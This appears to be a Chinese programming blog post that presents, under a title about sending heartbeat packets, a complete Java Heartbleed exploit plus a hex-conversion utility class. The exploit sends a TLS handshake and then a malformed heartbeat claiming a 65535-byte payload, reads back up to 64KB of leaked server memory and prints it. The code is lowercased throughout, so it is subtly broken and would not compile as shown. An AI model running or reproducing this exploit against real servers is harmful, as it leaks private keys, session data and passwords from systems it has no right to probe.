java发送heartbeat心跳包(byte转16进制)
package com.jxy.web;
import java.io.ioexception;
import java.io.inputstream;
import java.io.outputstream;
import java.io.unsupportedencodingexception;
import java.net.socket;
import java.net.unknownhostexception;
import com.jxy.tools.mybyte;
public class heartbleed {
private static byte[] hello = { (byte) 0x16, (byte) 0x03, (byte) 0x02,
(byte) 0x00, (byte) 0xdc, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0xd8, (byte) 0x03, (byte) 0x02, (byte) 0x53, (byte) 0x43,
(byte) 0x5b, (byte) 0x90, (byte) 0x9d, (byte) 0x9b, (byte) 0x72,
(byte) 0x0b, (byte) 0xbc, (byte) 0x0c, (byte) 0xbc, (byte) 0x2b,
(byte) 0x92, (byte) 0xa8, (byte) 0x48, (byte) 0x97, (byte) 0xcf,
(byte) 0xbd, (byte) 0x39, (byte) 0x04, (byte) 0xcc, (byte) 0x16,
(byte) 0x0a, (byte) 0x85, (byte) 0x03, (byte) 0x90, (byte) 0x9f,
(byte) 0x77, (byte) 0x04, (byte) 0x33, (byte) 0xd4, (byte) 0xde,
(byte) 0x00, (byte) 0x00, (byte) 0x66, (byte) 0xc0, (byte) 0x14,
(byte) 0xc0, (byte) 0x0a, (byte) 0xc0, (byte) 0x22, (byte) 0xc0,
(byte) 0x21, (byte) 0x00, (byte) 0x39, (byte) 0x00, (byte) 0x38,
(byte) 0x00, (byte) 0x88, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
(byte) 0x0f, (byte) 0xc0, (byte) 0x05, (byte) 0x00, (byte) 0x35,
(byte) 0x00, (byte) 0x84, (byte) 0xc0, (byte) 0x12, (byte) 0xc0,
(byte) 0x08, (byte) 0xc0, (byte) 0x1c, (byte) 0xc0, (byte) 0x1b,
(byte) 0x00, (byte) 0x16, (byte) 0x00, (byte) 0x13, (byte) 0xc0,
(byte) 0x0d, (byte) 0xc0, (byte) 0x03, (byte) 0x00, (byte) 0x0a,
(byte) 0xc0, (byte) 0x13, (byte) 0xc0, (byte) 0x09, (byte) 0xc0,
(byte) 0x1f, (byte) 0xc0, (byte) 0x1e, (byte) 0x00, (byte) 0x33,
(byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x9a, (byte) 0x00,
(byte) 0x99, (byte) 0x00, (byte) 0x45, (byte) 0x00, (byte) 0x44,
(byte) 0xc0, (byte) 0x0e, (byte) 0xc0, (byte) 0x04, (byte) 0x00,
(byte) 0x2f, (byte) 0x00, (byte) 0x96, (byte) 0x00, (byte) 0x41,
(byte) 0xc0, (byte) 0x11, (byte) 0xc0, (byte) 0x07, (byte) 0xc0,
(byte) 0x0c, (byte) 0xc0, (byte) 0x02, (byte) 0x00, (byte) 0x05,
(byte) 0x00, (byte) 0x04, (byte) 0x00, (byte) 0x15, (byte) 0x00,
(byte) 0x12, (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x14,
(byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x08, (byte) 0x00,
(byte) 0x06, (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0xff,
(byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x00,
(byte) 0x0b, (byte) 0x00, (byte) 0x04, (byte) 0x03, (byte) 0x00,
(byte) 0x01, (byte) 0x02, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
(byte) 0x34, (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x0e,
(byte) 0x00, (byte) 0x0d, (byte) 0x00, (byte) 0x19, (byte) 0x00,
(byte) 0x0b, (byte) 0x00, (byte) 0x0c, (byte) 0x00, (byte) 0x18,
(byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
(byte) 0x16, (byte) 0x00, (byte) 0x17, (byte) 0x00, (byte) 0x08,
(byte) 0x00, (byte) 0x06, (byte) 0x00, (byte) 0x07, (byte) 0x00,
(byte) 0x14, (byte) 0x00, (byte) 0x15, (byte) 0x00, (byte) 0x04,
(byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x12, (byte) 0x00,
(byte) 0x13, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x02,
(byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
(byte) 0x10, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x23,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
(byte) 0x01, (byte) 0x01 };
private static byte[] bleed = { (byte) 0x18, (byte) 0x03, (byte) 0x02,
(byte) 0x00, (byte) 0x03, (byte) 0x01, (byte) 0xff, (byte) 0xff };
private static byte[] tmp;
private static byte[] pay;
/**
* ssl3_rt_change_cipher_spec 20
* ssl3_rt_alert 21
* ssl3_rt_handshake 22
* ssl3_rt_application_data 23
* tls1_rt_heartbeat 24
*
* @param args
* @throws exception
*/
public static void main(string[] args) {
attack("改为自己测试的主机", 465);
system.exit(0);
}
public static boolean attack(string host, int port) {
system.out.println("开始连接...");
socket socket = null;
try {
socket = new socket(host, port);
} catch (unknownhostexception e) {
system.out.println("未知主机.");
return false;
} catch (ioexception e) {
system.out.println("访问主机失败.");
return false;
}
outputstream out = null;
try {
out = socket.getoutputstream();
} catch (ioexception e) {
system.out.println("获取输出流失败.");
return false;
}
inputstream in = null;
try {
in = socket.getinputstream();
} catch (ioexception e) {
system.out.println("获取输入流失败.");
return false;
}
system.out.println("发送客户端心跳包...");
try {
out.write(hello);
} catch (ioexception e) {
system.out.println("发送心跳包失败.");
return false;
}
system.out.println("等待服务器心跳包...");
while (true) {
tmp = getdata(in, 5);
if (tmp[0] == 0) {
system.out.println("服务器没有返回心跳包并且关闭了连接.");
return false;
}
analysehead(tmp);
int len = (int) mybyte.hexstring2long(mybyte
.bytetohexstring(tmp[3]) + mybyte.bytetohexstring(tmp[4]));
pay = getdata(in, len);
if (tmp[0] == 22 && pay[0] == 0x0e) {
system.out.println("查找到返回正常的心跳包。");
break;
}
}
system.out.println("发送heartbeat心跳包...");
try {
out.write(bleed);
} catch (ioexception e) {
system.out.println("发送heartbeat心跳包失败.");
return false;
}
try {
out.write(bleed);
} catch (ioexception e) {
system.out.println("发送heartbeat心跳包失败.");
return false;
}
while (true) {
tmp = getdata(in, 5);
int len = (int) mybyte.hexstring2long(mybyte
.bytetohexstring(tmp[3]) + mybyte.bytetohexstring(tmp[4]));
if (tmp[0] == 0) {
system.out.println("没有heartbeat返回接收到, 服务器看起来不是易受攻击的");
return false;
}
if (tmp[0] == 24) {
system.out.println("接收到heartbeat返回:");
int count=0;//长度计数
for (int i = 0; i < 4; i++) {//读4次,全部读出64kb
pay = getdata(in, len);
count+=pay.length;
system.out.print(hexdump(pay));
}
system.out.println("\n数据长度为:" + count);
if (len > 3) {
system.out
.println("警告: 服务器返回了原本比它多的数据 -服务器是易受攻击的!");
} else {
system.out
.println("服务器返回畸形的heartbeat, 没有返回其他额外的数据");
}
break;
}
if (tmp[0] == 21) {
system.out.println("接收到警告:");
system.out.println(hexdump(pay));
system.out.println("服务器返回错误,看起来不是易受攻击的");
break;
}
}
try {
out.close();
in.close();
} catch (ioexception e) {
system.out.println("关闭输入输出流异常");
}
return true;
}
public static byte[] getdata(inputstream in, int lenth) {
byte[] t = new byte[lenth];
try {
in.read(t);
} catch (ioexception e) {
system.out.println("接受数据错误");
}
return t;
}
public static string hexdump(byte[] pay) {
string s = "";
try {
s = new string(pay, "gb2312");
} catch (unsupportedencodingexception e) {
system.out.println("未知编码");
}
return s;
}
public static void analysehead(byte[] tmp) {
system.out.print("接收到消息: ");
system.out.print("类型:" + tmp[0] + "\t");
system.out.print("版本:" + mybyte.bytetohexstring(tmp[1])
+ mybyte.bytetohexstring(tmp[2]) + "\t");
system.out.println("长度:"
+ mybyte.hexstring2long(mybyte.bytetohexstring(tmp[3])
+ mybyte.bytetohexstring(tmp[4])));
}
}
package com.jxy.tools;
/**
* 16进制值与string/byte之间的转换
* */
public class mybyte {
/**
* 字符串转换成十六进制字符串
*
* @param string
* str 待转换的ascii字符串
* @return string 每个byte之间空格分隔,如: [61 6c 6b]
*/
public static string str2hexstr(string str) {
char[] chars = "0123456789abcdef".tochararray();
stringbuilder sb = new stringbuilder("");
byte[] bs = str.getbytes();
int bit;
for (int i = 0; i < bs.length; i++) {
bit = (bs[i] & 0x0f0) >> 4;
sb.append(chars[bit]);
bit = bs[i] & 0x0f;
sb.append(chars[bit]);
sb.append(' ');
}
return sb.tostring().trim();
}
/**
* 十六进制转换字符串
*
* @param string
* str byte字符串(byte之间无分隔符 如:[616c6b])
* @return string 对应的字符串
*/
public static string hexstr2str(string hexstr) {
string str = "0123456789abcdef";
char[] hexs = hexstr.tochararray();
byte[] bytes = new byte[hexstr.length() / 2];
int n;
for (int i = 0; i < bytes.length; i++) {
n = str.indexof(hexs[2 * i]) * 16;
n += str.indexof(hexs[2 * i + 1]);
bytes[i] = (byte) (n & 0xff);
}
return new string(bytes);
}
/**
* string的字符串转换成unicode的string
*
* @param string
* strtext 全角字符串
* @return string 每个unicode之间无分隔符
* @throws exception
*/
public static string strtounicode(string strtext) throws exception {
char c;
stringbuilder str = new stringbuilder();
int intasc;
string strhex;
for (int i = 0; i < strtext.length(); i++) {
c = strtext.charat(i);
intasc = (int) c;
strhex = integer.tohexstring(intasc);
if (intasc > 128)
str.append("\\u" + strhex);
else
// 低位在前面补00
str.append("\\u00" + strhex);
}
return str.tostring();
}
/**
* unicode的string转换成string的字符串
*
* @param string
* hex 16进制值字符串 (一个unicode为2byte)
* @return string 全角字符串
*/
public static string unicodetostring(string hex) {
int t = hex.length() / 6;
stringbuilder str = new stringbuilder();
for (int i = 0; i < t; i++) {
string s = hex.substring(i * 6, (i + 1) * 6);
// 高位需要补上00再转
string s1 = s.substring(2, 4) + "00";
// 低位直接转
string s2 = s.substring(4);
// 将16进制的string转为int
int n = integer.valueof(s1, 16) + integer.valueof(s2, 16);
// 将int转换为字符
char[] chars = character.tochars(n);
str.append(new string(chars));
}
return str.tostring();
}
/**
* 合并两个byte数组
*
* @param pbytea
* @param pbyteb
* @return
*/
public static byte[] getmergebytes(byte[] pbytea, byte[] pbyteb) {
int acount = pbytea.length;
int bcount = pbyteb.length;
byte[] b = new byte[acount + bcount];
for (int i = 0; i < acount; i++) {
b[i] = pbytea[i];
}
for (int i = 0; i < bcount; i++) {
b[acount + i] = pbyteb[i];
}
return b;
}
/**
* 截取byte数据
*
* @param b
* 是byte数组
* @param j
* 是大小
* @return
*/
public static byte[] cutoutbyte(byte[] b, int j) {
if (b.length == 0 || j == 0) {
return null;
}
byte[] tmp = new byte[j];
for (int i = 0; i < j; i++) {
tmp[i] = b[i];
}
return tmp;
}
/**
* 16进制字符串转换byte数组
*
* @param hexstr
* string 16进制字符串
* @return byte[] byte数组
*/
public static byte[] hexstring2bytes(string hexstr) {
byte[] b = new byte[hexstr.length() / 2];
int j = 0;
for (int i = 0; i < b.length; i++) {
char c0 = hexstr.charat(j++);
char c1 = hexstr.charat(j++);
b[i] = (byte) ((parse(c0) << 4) | parse(c1));
}
return b;
}
private static int parse(char c) {
if (c >= 'a')
return (c - 'a' + 10) & 0x0f;
if (c >= 'a')
return (c - 'a' + 10) & 0x0f;
return (c - '0') & 0x0f;
}
/**
* byte转换为十六进制字符串,如果为9以内的,用0补齐
*
* @param b
* @return
*/
public static string bytetohexstring(byte b) {
string stmp = integer.tohexstring(b & 0xff);
stmp = (stmp.length() == 1) ? "0" + stmp : stmp;
return stmp.touppercase();
}
/**
* 将byte转换为int
*
* @param b
* @return
*/
public static int bytetoint(byte b) {
return integer.valueof(b);
}
/**
* bytes转换成十六进制字符串
*
* @param byte[] b byte数组
* @return string 每个byte值之间空格分隔
*/
public static string bytetohexstring(byte[] b) {
string stmp = "";
stringbuilder sb = new stringbuilder("");
for (byte c : b) {
stmp = integer.tohexstring(c & 0xff);// 与预算,去掉byte转int带来的补位
sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一位的话填充零
sb.append(" ");// 每位数据用空格分隔
}
return sb.tostring().touppercase().trim();// 变换大写,并去除首尾空格
}
public static long hexstring2long(string hexstr) {
long sum=0;
int length=hexstr.length();
for (int i = 0; i < length; i++) {
sum+=parse(hexstr.charat(i))*math.pow(16,length-i-1);
}
return sum;
}
}
上一篇: spring boot日志管理配置
下一篇: JAVA中JVM的重排序详细介绍